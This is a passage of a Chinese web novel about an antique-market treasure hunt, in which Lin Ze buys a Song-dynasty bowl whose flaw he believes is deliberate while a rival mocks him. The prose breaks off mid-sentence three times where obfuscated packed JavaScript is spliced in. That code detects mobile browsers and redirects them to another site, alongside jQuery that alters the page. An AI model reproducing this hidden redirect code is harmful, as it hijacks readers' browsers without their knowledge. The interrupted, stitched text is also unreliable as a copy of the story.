根据档案当中记载,当时假银元被查获以后,进行了当场销毁。 能够留下来的,自然是寥寥无几。 旁边。 沈泰安又给南希解释了不少。 林泽大致听了一下,虽然没有档案里写得详细,却也大差不差。 在沈泰安的话语里头,林泽听到了“膛线工艺”“金镍合金”等字眼。 转头看看沈泰安。 林泽心中一阵感慨。 沈泰安被称为文物鉴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983625|192808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定专家,确实名副其实。 他所积累下来的文物鉴定经验绝对是稀世之宝。 “哥,爷爷厉不厉害?” 南希清脆的声音传出。 林泽紧跟着收回思绪。 此刻。 南希笑意盈盈地望着林泽,眼睛里亮得能闪出星星。 “很厉害。” 林泽的话刚说出来。 沈泰安急忙接上话茬。 “小希啊,你哥比我更厉害,以后你就知道了!” 听到沈泰安夸奖林泽,南希比听到他夸奖自己还要高兴。 顿时。 头仰的高高的。 “那当然,我哥是最棒的!” 林泽有一瞬间的恍惚。 看到南希脸上的骄傲,林泽脑海当中,突然闪过一张稚气的面孔。 曾经。 有个小女孩也是这样崇拜地看过他。 那时候。 小女孩整天跟在他身后,嘴里说得最多的一句,就是“我哥最棒了!” 心……突然莫名地沉了一下。 路边摊位越来越多。 但沈泰安的脚步却没有放缓慢。 那些红布或者报纸上摆放的“老物件”大多都入不了他的眼。 又往前面走了一段。 沈泰安停在一个放瓷器物品的摊位前。 老板是个年轻的小伙子,又高又瘦。 此刻。 正躺在摇椅上,眼眸微眯。 看到眼前有人驻足,这才睁开眼睛,声音当中也透露着一抹慵懒。 “老先生,看看相中了什么?看上哪样您说话。” 跟刚才中年男人的热情不同,眼前这个小伙子心思好像没有放在生意上。 面前的瓶瓶罐罐,也摆放得七扭八歪。 地上的红布块头不小,东西看起来也是一大片。 林泽无法断定,沈泰安到底相中了哪一件。 不过,看他的状态,应该是看到了中意的。 因为。 沈泰安缓缓蹲了下来。 旁边。 南希也在左看右看。 只不过,南希看的都是皮**。 她这种捡漏,纯粹是看眼缘。 用南希的话说,那就是看上了就值,看不上就不值。 “小姑娘,这个瓷碗是一对儿,如果您想买,最好别拆开,不然再到手的时候卖不上价钱去。” 看到南希的目光放在一对瓷碗上,小伙子在一旁开口提醒。 南希点点头,没有接上话茬。 很快。 目光又瞥向另外一边了。 看到对方纯粹是看个热闹,小伙子也不再说什么,一屁股又坐在了躺椅上。 林泽看了一下刚才的那对瓷碗,最后收回目光。 瓷碗倒是有些年份,却不长。 真要收藏,没有多大价值。 突然。 南希眼神发亮,声音当中也带了一丝兴奋。 “哥,你看这个好不好看?” 说话间。 南希伸手指向红布的西南角。 不起眼的一处。 几个瓷碗旁边,放着一枚铜钱! 孤单单地在瓷碗中间的一个小缝里。 如果不仔细看,根本看不到。 “要是这东西戴在脖子上,应该很好看吧?” 南希目不转睛,小声地喃喃自语。 林泽怔住。 心……猛地一紧! 铜钱。 洛洛…… “小洛……” 第160章 土包子才拣瑕疵买? “小啰?不小,你别跟那些盘子碗相比,你这样看。” 说话的功夫。 老板已经将那枚铜钱拾起来。 放到掌心当中以后,他又对着南希和林泽比划了比划。 “看看,这样一放,不就不小了吗?这种戴脖子上正合适。” 林泽眉头皱得更紧,眼睛盯着铜钱。 显然。 老板会错意了。 他刚才叫的是“小洛”,而不是说“小啰”。 缓过神来后。 林泽迅速看向南希,声音都开始变急切。 “南希,你……为什么会选择这个铜钱?你以前有佩戴过这个吗?” 一番话问出来。 林泽的心向上提了一大截。 在迫切想知道答案的同时,又有些胆怯。 南希是不是洛洛? 不! 不可能是的! 南希是南家的独生女,怎么会是曾经住过孤儿院的洛洛? 可是。 当年。 洛洛就是被一辆汽车给接走的…… 心乱成一团,林泽的呼吸都跟着变急促。 南希抬眸迎上林泽的目光,嫣然一笑,一对小梨涡,若隐若现。 “哥,怎么了?我就是随便看看,感觉戴上这个应该不错吧?我没戴过这种,这是不是有什么讲究?” 林泽心一沉,眼睛却舍不得离开南希的脸。 南希目光清澈,声音柔柔的。 歪着脖子看自己的神情……像极了洛洛。 可是。 脑海当中又有一个声音在提醒林泽。 眼前的这个女孩子……不是洛洛。 林泽勉强扬起一丝笑容,声音嘶哑道:“没什么,我也就这么一问,毕竟现在带这种铜钱的女孩子很少。” “没错!” 老板声音陡然提高,语气当中带着前所未有的郑重。 “现代人佩戴铜钱的已经不多了,你知道是什么原因?那是因为像这种铜钱不常见!” “我手里的这一枚铜钱,那是用来挣国库的,看看这上面还有镇库字样!” “这要戴在脖子上,妥妥的财源滚滚。” 南希的注意力被吸引过去,本能地看向老板手里的铜钱。 “哇,还真有欸……” 南希踮着脚尖,小嘴都嘟圆了。 “小希,这枚铜钱的确不错,可是不太适合佩戴。” 一直没有开口的沈泰安突然发表意见。 此刻。 不光南希,就连老板都疑惑地看向他那边。 沈泰安笑着解释。 “东西是好,可你看边角处,凸凹不平,万一划伤了脖子怎么办?” “带装饰品本是好意,可若见血光,就美中不足了。” 南希听完,头点得像小鸡啄米一样。 “对,爷爷说的没错,我可怕疼了,真要把我划伤,那可不划算。” 说着。 南希便拉住林泽的胳膊,一边摆手一边往前走。 “不要了,不要了,我去看看别的。” 此刻林泽还没有缓过神。 被南希拉着往前奔,也是身不由己。 想着自己收藏的那一枚铜钱,林泽又不由得想起很多以前的事情。 直到走出一大截去,整个人的心神才平复下来。 “小希,你若是喜欢铜钱做装饰,回头我送你几枚,别在这里找,真正的少。” 沈泰安再次说起那枚铜钱。 南希的新鲜劲儿已经过去,“不用,爷爷,我也就是看看,我总觉得看到铜钱以后,像是想到了什么?” 林泽的心再一次收紧,喉咙也跟着动了一下。 南希想到什么了! 难道…… 没等林泽开口问话,南希突然笑起来。 “对了,我想起来了,是小时候爷爷告诉过我,做人要像从前一样,外圆内方!” “没想到,那么久的事情你还记得,小希,你的记忆力可真好。” 沈泰安再一次夸奖南希。 而林泽心里,刚刚燃起的火焰,又一点点的熄灭了。 心情跌宕起伏过后,林泽已经释然。 虽然想迫切地找到洛洛,可他也清楚,这件事情并不是着急就能完成的。 所以。 林泽重新整理思绪。 再次抬起头来时,脸上已经恢复刚才平静的表情。 再往前面走。 两旁的铺子已经开了门。 “张山居”“聚宝阁”“广元宝业”“诚然居”等一些店铺门口已经有伙计张望。 跟那些摆地摊的相比。 这些有具体地址的店铺显然要高大上不少。 但此刻太阳刚刚落山。 前去光临店铺的人也不在多数。 “爷爷,这次过来,您是奔着什么来的?” 南希感觉已经转了一段时间,却没有看到沈泰安对什么东西感兴趣,所以,他便忍不住问了一句。 沈泰安脸上再次扬起笑意。 脚步未曾放慢。 “捡漏需要缘分,首先要有眼缘,其次,还得有跟这物件的缘分,所以既要看得上,又得能买到手中,这才叫捡漏。” 南希眉头皱起。 “所以,爷爷还没有遇到有眼缘的?” “对喽,慢慢来嘛,不着急。” 说着,沈泰安看了看随身携带的小包。 里面可是有手电筒的。 就算这装备不用来鉴别东西,用来打灯光走路也是蛮好的。 虽然大病初愈。 但沈泰安步伐矫健,走起路来一点都不比年轻人慢。 南希小声地告诉林泽。 这就是信念的力量。 那些真正老字号都已经开了门,估计等到沈老爷子选好东西的时候也不远了。 盯着不远处看了看,老爷子继续往前走。 突然。 林泽停下脚步。 目光停在旁边的地摊上。 “爷爷,等一下,我哥停这儿了。” 一路上。 南希不停地说话,现在叫林泽哥,已经非常顺口。 沈泰安转身。 随后,目光顺着林泽的方向看去。 这个摊位上摆的大多是玉器。 大小不一,形状各异。 看到有人停下脚步,摊主立刻笑起来。 “小伙子,有相中的?” 林泽点点头,随意指向其中一个普通玉器,“老板,这个多少钱?” “这个便宜,你要是想要就给一百块钱吧!” 老板倒也爽快,刚一开口没有要高价。 旁边。 南希笑笑。 就差说出一句,“这老板挺实诚。” 沈泰安默不作声,脸上的表情也没有多大变化,但是看向林泽的目光却多了一丝意味深长。 林泽停在这里。 只是为了看这一枚普通的玉器? 依照他的眼力更惊讶,不应该如此才对。 脑海当中刚刚闪过这个想法,紧接着,沈泰安嘴角又扬起了笑意。 事情果然跟自己想的一样。 林泽又开始问其他的价位了。 “这个玉蝉……” “小伙子,这个可要贵一些了,这东西有年头,少了这个数不卖。” 老板一边说,一边伸出三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987435|192808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根手指头。 林泽略作犹豫,最后,将目光放在地摊上唯一一个瓷器上面。 “我看看这个吧!” 摊主一怔。 “这个有年头,可是我的镇摊之宝。” 摊主小心翼翼地将瓷器拿起,语气中都带着一丝谨慎。 林泽并未当场接过。 看他将物件在自己面前放好以后,这才重新从地上拿起来。 摊主越说得谨慎,自己就越要小心。 万一这边还没拿稳,那边已经松手。 物件不管是碎裂还是有磕碰,绝对是推不掉的麻烦。 也正因为如此。 林泽才故意等到摊主放好,这才接手。 望着面前的物品,林泽……激动了。 磁州窑,黑釉酱斑——斗笠碗! 产出时间,北宋! 属民间瓷窑。 在北宋综合性的瓷窑当中,磁州窑又是极具创造性的。 还有白釉划花,剔花,刻花装饰。 其中,最具特色的,则是——白釉绘黑花! 林泽将斗笠碗拿在手里,仔细观摩。 旁边。 沈泰安已经开始倒吸凉气。 林泽这小子,眼真毒! 刚刚自己从这摊位上过去,怎么没有发现这好物件? 一时间。 沈泰安的眼都直了。 而看到这幅情形。 南希也不敢再插嘴。 看到他们两个人如此认真,南希也跟着变得安静起来。 “小伙子,这是宋代的,北宋,这东西可是有年头,这叫磁州窑!” 摊主眨巴着眼睛讲解,声音都压低了很多。 而对于摊主的这一番热情,林泽并没有回应。 仔细看了看斗笠碗的碗面。 接着。 缓缓翻过手去。 据档案当中记载,这个黑釉酱斑斗笠碗,有独特之处! 碗还没有翻平。 对面。 已经传来摊主咽口水的声音。 “咕嘟。” “咕嘟。” 间隔急促,显然,有点慌。 “现在这市面上,黑釉酱斑已经不多了。” 林泽缓缓说出一句,平静的声音当中听不出任何波澜。 摊主听完瞬间大喜。 “对,没错,所以这好东西啊,都是人们争相购买的!” “错过了这个村就没有这个店。” “小伙子,你错过我这里,可就再也找不到这么好的东西喽!” 林泽抬眸。 “不急,老板,你看这里。” 话音未落。 林泽伸手指向碗底的……一处疤痕。 “这……这东西年代久远,有些磕磕碰碰也是很正常的,是吧,要是照着完美的挑,那只能选仿品。” 说完。 摊主紧接着又补充。 “那些仿品都是机器做出来的,都没毛病。” 听到最后一句。 林泽心中一喜。 他……果然把这一处当成了毛病。 “既然老板也这样说,那这东西多少钱?” “这个得两万,这是真正的北宋出土的。”摊主急切的声音当中夹杂着不安。 林泽没有接上话茬,继续打量手里的物件。 过了一会儿,这才重新抬起头。 “便宜点可以吗?价钱合适,我可以考虑。” 摊主还没来得及思考。 一阵嘲讽的笑声突然传出。 “哈哈哈哈,村子里来的土包子,果然上不得台面!” “买个东西,都专门捡着瑕疵的买!” 南希一怔。 小脸瞬间沉下来! 第161章 感谢你那张破嘴! 不管是谁,都不可以如此侮辱林泽! 看到面前那张脸。 南希心中火气更盛。 “又是你,怎么哪里都能看到你?” 想到当初在东海大酒店的情形,南希脸上瞬间露出不屑的表情。 无理取闹,自以为是的男人! 对面。 吴庸不但没有生气,反而笑得更加开心。 南家大小姐跟林泽关系,可真是……好啊! 根据手下提供的报告,吴庸猜都不用猜,最近这段时间,南希一直围在林泽的身边。 警局相救,聚会解围。 现在,又是跟他针锋相对。 “林泽,你这女人缘够好的,别人都是英雄救美,你这边好一个美救英雄……” 说着。 吴庸的嘲讽更加得意。 “不管谁救谁,总比挨打的好,上次动手坏了胳膊,这次嘴欠,是不是要满地找牙?” 南希回怼的话,一句比一句厉害。 吴庸一下子僵住。 这番话,显然是在往他的心窝子上戳! 看看胳膊上吊着的绷带,再瞅瞅无法动弹的手腕,吴庸整个人都不好了。 几个手下见状,赶紧低下头。 全都装作没有看到这尴尬的一幕。 更让吴庸生气的是。 不管他怎么叫嚣,林泽自始至终都是一脸漠然,好像自己可有可无一般! 那种无视,对他来说,就是莫大的羞辱! “林泽,不说话就是默认!” 在恼火之心的驱使下,吴庸竟然控制不住地主动跟林泽搭话。 而林泽,目光专注,始终停在面前的斗笠碗上面。 此刻。 摊主脑门上已经冒出一层汗水。 最怕的。 还是担心买家跟这个坏胳膊的人吵起来。 到那时候,万一这小伙子真的把碗一放,直接生气走人,那这买卖不就黄了? 所以。 为了促成交易,摊主早已经瞪了吴庸好几眼。 思绪被打乱。 摊主也慌了起来。 “小伙子,这个瑕疵啊,其实是可以忽略不计的,你若是诚心想买,我这边可以让一步。” 咬咬牙,摊主从喉咙里挤出一句。 “一万五,怎么样?你若是看得上……” 话没说完。 林泽已经开始摇头。 “不行!” “陶器热胀冷缩,现在看起来毛病不大,可到了正热的时候,谁也不敢保证会怎么样。” “您是做这一行的,想必心里比我清楚。” “您若真想出手,我倒是可以说一个实买的价钱。” 林泽还未开口出价。 摊主已经伸过脑袋,“多少?” “5000块!” “什么?!不可能!你这个价钱我收都收不来的!” 话还没说完,摊主已经瞪圆眼睛,脑袋摇得像拨浪鼓。 旁边。 吴庸见状,脸上尽是嘲讽。 林泽啊林泽,你真是丢人丢到家了! “林泽,你是不是眼神不好?” “翻来覆去地看一个破碗,真把它当成宝贝了?” “5000块钱买个碗,还是有毛病的,你是打算把它供起来吗?” 说完。 吴庸又忍不住捧腹大笑。 身后的几个人见状,也都附和着嘲讽。 “也是,这乌漆抹黑的,还有毛病,白送给我我也不要!” “还出5000块钱,亏大发了!” “不值,绝对不值,咱们吴总的话说出来就是证据!” “吴总可是鉴定机构出身,估计这碗前脚买回去,后脚就酥了。” 沈泰安本想帮着林泽说话,可看到这幅情形,突然改变主意。 林泽没开口,慢慢弯下腰,想要把斗笠碗放回到原处。 可没等动作完成,摊主紧接着开始唑后牙槽。 “小伙子,我的东西是真赔钱,既然你也看了半天了,我也想做成这桩买卖,你能不能再长长?” 此刻。 摊主气得想骂娘。 好好的一桩生意,竟然被眼前这个“坏爪”给搅黄了! 不管他是出于什么目的,总之小伙子不想买了。 这对于他来说,就是损失! 按照道上的规矩,他们这是在找茬! 但凡来旧货一条街上捡漏的,谁不清楚开口三不问! 偏偏这些人犯起忌讳来,竟然连眼睛都不眨! 如果不是见他们人多,自己非得跟他们理论理论! 可眼下。 这口气只能硬生生地咽下去。 再次抬眸看向林泽,摊主目光几近哀求。 旁边。 南希不相信吴庸及他身后的那些人的。 他们就像烦人的苍蝇,专做别人讨厌的事情,专讲别人不喜欢听的话。 可看到摊主态度的转变,南希心里变得不确定。 这个人……该不会是想坑林泽吧? 不过。 所有担忧在南希脑海当中只是一转即逝。 刚才沈爷爷也说了,来这里买东西,讲究的是眼缘。 只要林泽看上了,那东西就值! 别说是5000元了,只要林泽觉得值,5万又怎么样? “就我说的那个价,成就交易,不成就算了。” 思考片刻。 林泽再次开口作出决定。 眼下的情形瞬间变得精彩。 摊主如同让人割了心头肉,急得都要转圈。 旁边。 吴庸等人捂着嘴笑,分明一副看笑话的模样。 “成!咱们一手交钱,一手交货!” “不过咱事先说好了,东西您看好,交钱以后,我这儿就什么也不保了,好坏您自己承担。” “咱这前不问来路,后不问归途,一切靠缘分。” 摊主尽量把话说清楚,也为了避免以后的麻烦。 林泽表情平静,跟着点头。 “明白。” 旧货市场的规矩,林泽心里头有底。 看货不问价。 还价即成交。 不退不换且不调。 当着林泽的面,摊主小心翼翼地将磁州窑黑釉酱斑斗笠碗包好。 林泽则是拿出手机。 两人一手交钱,一手交货。 交易完成。 “呵,还真买了,你就等着这破碗砸你手里吧!” 吴庸得意得抿不住嘴,恨不得当场看到斗笠碗裂开。 却不曾想到。 林泽嘴角也露出笑意。 将东西装好,林泽跟沈泰安轻松地往前走。 吴庸不死心,紧随其后。 一直走出将近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987436|192808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三十来米,林泽这才停下脚步。 吴庸表情一僵,随即又得意起来。 “怎么?后悔了?刚才那老板可是说得清清楚楚,过后不保,好坏自己承担!” “林泽,你也是成年人了,怎么办事跟小孩子一样?” “让我想想,对了,刚才那么爽快,不会只是为了显摆吧?” 不等吴庸再次出声,林泽突然一声冷笑! “吴庸,你错了!” “这桩买卖能顺利地完成,真要感谢你那张破嘴。” “若不是你一直在旁边絮絮叨叨,摊主也不可能如此着急。” “刚才,你们看似在嘲讽我,实际上却说到了摊主的心眼里。” “如果没有刚才那一通搅和,价钱绝对不能降到这么低!” 林泽表情平静。 脸上看不出任何波澜。 一番话说得不缓不急。 吴庸满瞬间目瞪口呆。 身后一帮人,脸上全都是不可置信的表情。 “什么意思?帮到忙了?”吴庸艰难地从喉咙里挤出几个字,肠子几乎都要悔青。 “林泽,你真卑鄙,你竟然敢利用我!” 林泽眼眸微眯,声音如同淬过冰一般。 “我……有强迫你说话吗?” “没错!” 南希一个跨步上前,直接跟林泽并排而站,清丽声音也跟着提高。 “是你自己絮絮叨叨地说个不停,现在还埋怨别人,看来,有人不光手欠,而且嘴欠!” 说话的时候。 南希仰着头,一脸无惧。 众目睽睽之下。 被人如此羞辱。 吴庸的脸一下子涨得如同猪肝一般。 “小丫头,你给我闭嘴!” “我,偏,不!” 南希挑挑眉毛,神情当中满是挑衅。 吴庸攥紧拳头,却只能将指甲掐进手心。 眼前这丫头,是南耀辉的独生女,东海南家,他惹不起。 而且,林泽旁边,还有一个一直没有开过口的沈老爷子。 这时候,不宜将事情弄得太僵。 可要让他咽下这口气去,实在是太难了。 愤慨的同时。 吴庸心中又布满疑云。 林泽,到底是什么时候开始巴结南家跟沈家的? 他跟唐若涵离婚不过几天,几乎是眨眼的功夫,怎么就成了沈南两家眼里的香饽饽? 就连沈老爷子都…… 吴庸喉结动了好几次,最后,只得恨恨地咬咬牙。 “爷爷走,别让这种人坏了心情。” 南希甩出一句,接着挽住沈泰安的胳膊直接朝前面走去。 眼看着几个人离开。 吴庸眼睛里都要喷出火来。 “老板,现在怎么办?还要继续跟着吗?” 手下人上前一步,来到吴庸跟前,小心翼翼地询问。 “废话!让他妈你们干嘛来了?不跟着,在这乘凉啊!” 手下听完惊恐万分,语气中也带着一丝颤抖。 “是,我们现在就跟上去!” “记住,有什么情况随时汇报!” 吴庸再次抬眼。 不远处,林泽的背影几乎要消失。 这一次,他没抬脚,目光却逐渐狠厉。 同时。 心中的计划……越来越清晰! 第162章 留一线?南希悟了! “林泽,刚刚你入手的磁州窑黑釉酱斑斗笠碗不错,可惜有点小瑕疵,不过这个价位购得,实属捡漏了。” 无视身后几道贼眉鼠眼的目光,沈泰安的声音坦荡释然。 林泽低头看看怀中,神情依旧淡定。 “沈爷爷,你也看出什么了?” “磁州窑的品种繁多,但黑釉酱斑实属少见,留存至今的,寥寥无几。” 说起磁州窑来,沈泰安心中感慨。 “能够把传统书画的艺术跟制瓷的工艺结合,是磁州窑独特的特点。” “这可是我们华国的东方特色。” 把话说完。 沈泰安语气当中又多了一丝遗憾。 林泽,本能地想到了碗里的那一处瑕疵。 这时。 南希突然接上话茬。 “爷爷,如果没有那块瑕疵,这个价位是不是得翻倍?” “何止翻倍,毫不夸张地说,绝对能翻几十倍!” 南希惊呼出声,精致小脸上写满震撼。 微微张开的嘴唇。 一时间竟然忘记了要说什么。 翻几十倍? 就因为有了一个小小瑕疵,作品本身的价值竟然能降低那么多? 太……遗憾了! 想到此。 南希不由得为林泽感到惋惜。 “哥,你也别太难过,其实这已经挺不错了。” “我不难过,相反我很高兴,今天,算是真正开眼了。” 林泽嘴角上扬,弧度清晰可见。 南希不解。 就连沈泰安脸上也蒙了一层疑惑。 林泽所谓的开眼,难道只是花低价位买一个瑕疵品吗? 应该不止如此吧! 能够在地摊上看到磁州窑黑釉斗笠碗,实属难得,吴庸确实也误打误撞地成就了这桩买卖。 但这瑕疵……也是显而易见的。 刚才在摊位前,沈泰安观察得也极为细致。 是真品无疑。 做工也很细致,纹路清晰可见,但加上那一处瑕疵,收藏价值肯定会受到影响。 审美一个文物鉴定专家及收藏家,这是沈泰安给出的判断。 经过上次的相处,沈泰安断定,林泽的能力并不比他差多少。 可他脸上的这一份欣喜,到底是从何得来? “林泽,能不能再让我看看你那个碗?” “当然可以。” 面对沈泰安的请求,林泽当场答应。 沈泰安双手接过,小心翼翼地翻来覆去,仔细揣摩着每个细节。 并且。 特意不去看那处瑕疵。 可林泽一直站在沈泰安旁边。 等到他将碗看了一个遍,这才开口提醒。 “沈爷爷,您再看一下碗底。” 说话间。 林泽脸上再次露出笑意。 沈泰安将碗翻过来,又凑近了一些。 碗底处,瑕疵清晰可见。 那一块儿,像是被什么东西碰了一下,又像是手指不小心撞的。 总之。 略有些刻意和不自然。 想想碗面的平整光滑及完美,眼前瑕疵似乎又被放大不少。 就像一首完美的乐曲在演奏出来时,突然破了音。 沈泰安微微摇头。 可林泽接下来的话,却让他大吃一惊。 “沈爷爷,如果没有这块瑕疵,或许我会犹豫,要不要收?” “什么意思?难道你看上的不是这个碗,而是碗里的瑕疵?” 沈泰安惊讶,声音陡然变高。 站在一旁的南希直接愣住。 “林泽,你是在赌气吗?” 刚才吴庸絮絮叨叨,他讽刺林泽的那些话,自己听了都生气。 林泽心里想不通也是很正常的。 可若是因为赌气买这只瑕疵碗,南希觉得,这不是林泽能做出来的事情。 他认识的林泽,一向沉稳淡定。 如此轻易地被人左右决定,不应该。 林泽上前一步,亲自指向碗底瑕疵。 “沈爷爷,您看,这瑕疵像不像是故意做上去的?” “依照当时的工艺,若有这种瑕疵,必然会被销毁。” “既然能流传至今,定然是有原因的。” 档案库当中,资料记载的那一只磁州窑黑釉酱斑斗笠碗,瑕疵就是刻意做上去的。 也正是因为如此,收藏价值也跟着翻了数倍。 只是。 眼下这只斗笠碗为何会流落至地摊,林泽不得而知。 但林泽能够确定。 这就是记载当中的那只瑕疵斗笠碗。 思索的档案当中的内容,林泽没再继续开口。 对面。 沈泰安的表情变了又变。 先是疑惑,后是不解,最终……恍然大悟! “林泽,留一线,你说的这是留一线!” “天道曰忌满,人道曰忌全!” “作品也是!” 沈泰安神情震惊,更是因为激动,语气都带了颤音。 听到这番话。 林泽心中释然。 老爷子终于跟自己想到一块儿去了。 唯独南希依旧云里雾里。 “爷爷,什么人道天道,咱们不是来捡漏的吗,你们怎么研究起道教来了?” 沈泰安转头看向南希。 笑容当中夹杂了一丝其他的意味。 “小希啊,你有林泽这样的朋友,值了!” “那当然,我早就说过,林泽是妥妥的潜力股!” 听到沈泰安夸奖林泽,南希一下子来了精神,像之前一样,清澈乖软的眸子里,又泛出点点光泽。 浅笑间。 一对小梨涡越发的深了些。 看南希如此兴奋,林泽也来了兴致。 “南希,你是不是明白了刚才我们所说的那番话的意思?” 南希扬了扬头。 伸出漂亮白皙的手指左右摇晃,一脸迷茫道:“没有,不过,你跟爷爷说的话肯定是有道理的。” 林泽无语。 看来。 自己真的有必要解释一下是怎么回事了。 “南希,那瑕疵是人为。” “无论古今,很多人都在要求完美的作品,他们也只允许完美的作品只有一件。” “所以,一旦作品完美,工匠则处于危险当中。” “月圆则亏,水满则溢,一旦到了极致,便只能走下坡路,作品留下瑕疵,也是给自己留下后路,保了平安。” 少女的脸颊微微鼓起,若有所思。 接着,潋滟的眸子也跟着眯起来。 “悟了,说白了,是怕镇不住那盛大的福气!” 说出感悟以后。 南希的目光也停留在碗底瑕疵处。 刚才,看那瑕疵还丑乎乎的。 现在重新观看,好像……变得顺眼不少。 没有十全十美的人,同样也没有十全十美的作品。 “人生哪能尽如意,万事只求半称心。” 终于想出一句有禅意的话。 南希慢悠悠地讲出来。 “不错不错,小希悟性很高的。” “谢谢爷爷。” 虽然感谢是沈泰安,可南希却趁机搂住了林泽的胳膊。 心,又开始嗵嗵地跳起来。 脸颊处,跟着泛起一抹羞涩。 林泽一怔。 想要抽回胳膊。 突然。 沈泰安的话锋一转。 “林泽,这物品,你是想留着还是想出手?” 此话一出。 林泽表情变得郑重,声音也斩钉截铁。 “出手。” 本身来旧货一条街,他也没有抱太大的希望,就想着顺其自然,没成想还真让自己捡漏了。 可关于这物品的去留,林泽脑海当中闪过的第一个想法,那便是出手。 首先,眼下的形势,不容许他占用太多钱。 爷爷治病需要医药费,另外,他还没有稳定的工作,后续花销也是一笔数目。 其次,是因为档案库当中的任务奖励。 无论真假,都要试一试。 万一是真的呢? 眼下这件磁州窑黑釉酱斑斗笠碗,不过下了5000的本钱,若倒手能赚些钱,自然是不错的。 “好!那我们就寻个铺子,让他们给上个价。” 沈老爷子也爽快,刚把话说完,便开始观察周围的百年老铺子。 “沈爷爷,我们不再往前面转一转了吗?您还没有找到合适的东西。” 听林泽这样讲,沈泰安脸上再次萌生出笑意。 “不着急,我们有的是功夫,先把手里的东西出手了再说!” 说到这里,沈泰安好像想到了什么。 “对了,如果有什么东西看上眼,你不用顾虑,钱我已经带够了。” 沈泰安给了林泽足够的底气。 这番话让林泽觉得心里暖暖的。 一旁。 南希也不示弱。 “爷爷,您不用担心这个,我拿着好几张卡呢!” 林泽笑着拒绝。 “谢谢你们的好意,我这边的钱够用。” 二十来万,足够捡漏。 在林泽看来,所谓的捡漏,就是以低价卖入高价的物品。 倘若有显著的差价,捡漏的意义便荡然无存。 “行,先不说这些,看到那个铺子没,去那里让老板长长眼。” 林泽顺着沈泰安的手指望去。 瞬间看到一个醒目的牌匾。 “雅林居。” 这家铺子非常气派,门脸装潢得也很气派,却不失讲究。 单是看上一眼。 便给人一种内敛大气的感觉。 林泽相信沈泰安的眼光,当即跟着老爷子一同向前走去。 眼看着要到一个新的地方,南希瞬间变得兴奋起来。 三个人相继进屋。 很快。 一个衣着整齐,面带笑容的员工迎上来。 “贵客好,请问几位是割爱还是请货?” 林泽转头。 沈泰安客气地说道:“我们想出售个小物件,您是这里的负责人吗?” 服务人员听闻脸上笑意更浓。 “先生,您稍等,我这就去请我们经理。” 林泽和南希相互看了一眼,眼神当中的意味不言而喻。 姜还是老的辣。 短短两句话,沈老爷子给足了服务人员面子,环境氛围瞬间不一样了。 明知道对方不是管理人员,可沈泰安开口闭口不离“您”,服务人员听完自然是极高兴的。 果然。 时间不长。 刚才的服务人员便将经理请了过来。 第163章 唐家的钱不是钱? “几位好,我叫赵传志,是雅林居的经理,”中年男子对着沈泰安点点头,“听说,几位手上有物件要出?” 面前的中年男子并未拐弯抹角,开口便直奔主题。 话音落后,不等沈泰安他们回答,便恭敬地伸出手做了一个请的姿势。 “几位请移步,咱们边品茗边聊,如何?” 经理客气。 林泽到这里来本就是想着出手东西的,自然也不会拒绝。 来到旁边的贵宾区,赵传志请沈泰安他们坐下又让人端来了茶水。 自己则是戴上了白手套,专业味十足。 看到沈泰安对自己点头,林泽当即把手里的东西拿出来。 赵传志双手接过,脸上神情郑重。 可没看几秒,神情微微一滞。 抬眼看了看林泽,沉思过后,犹豫道:“贵客,这物件有些不对劲。” 将独立碗小心翼翼地放在桌上。 赵传志这才继续开口。 “雅林居百年老字号,光是我担任经理,就已经十来年。” “您这东西应该是宋代的,可这瑕疵太明显了。” “请恕我直言,如果当前物品执意要出手,估计价格跟个仿品差不多。” “几位恕我啰嗦,若不是着急用钱,还是自己收藏的好。” 赵传志一脸客气,语气平静。 可说话的工夫,心中已然升起些许失落,甚至还有些恼火。 刚才。 店里的伙计风风火火地去找他,他还以为,今天会收到什么上乘好物,没想到,面前几个人拿出来的,竟然是一个瑕疵品! 即便有些年代,可如此大的瑕疵摆在那里,绝对卖不上价去。 就算自己收了,弄不好还得砸在手里。 这种落差,一时间让人难以接受。 甚至。 赵传志还有一种被人糊弄的感觉。 难道,这些人是打听好了自己年轻,专门想来店里捡漏的? 若真是如此,那绝对是对他的不尊重。 放眼旧货一条街,提到他的名号,人们多多少少会给些面子。 那……眼前这几个人是什么意思? 赵传志正在犹豫。 林泽波澜不惊道:“赵经理,您……要不再看看这瑕疵?” 赵传志眉头一皱,瞬间露出不悦的表情。 “既然是瑕疵,我觉得也没有什么好看的。” “若这瑕疵是故意做上去的呢?” 赵传志怔住,神情也跟着谨慎起来。 故意做的瑕疵? 不等林泽继续开口说话,赵传志重新将斗笠碗拿起,翻来覆去地看了半天。 跟上次相比。 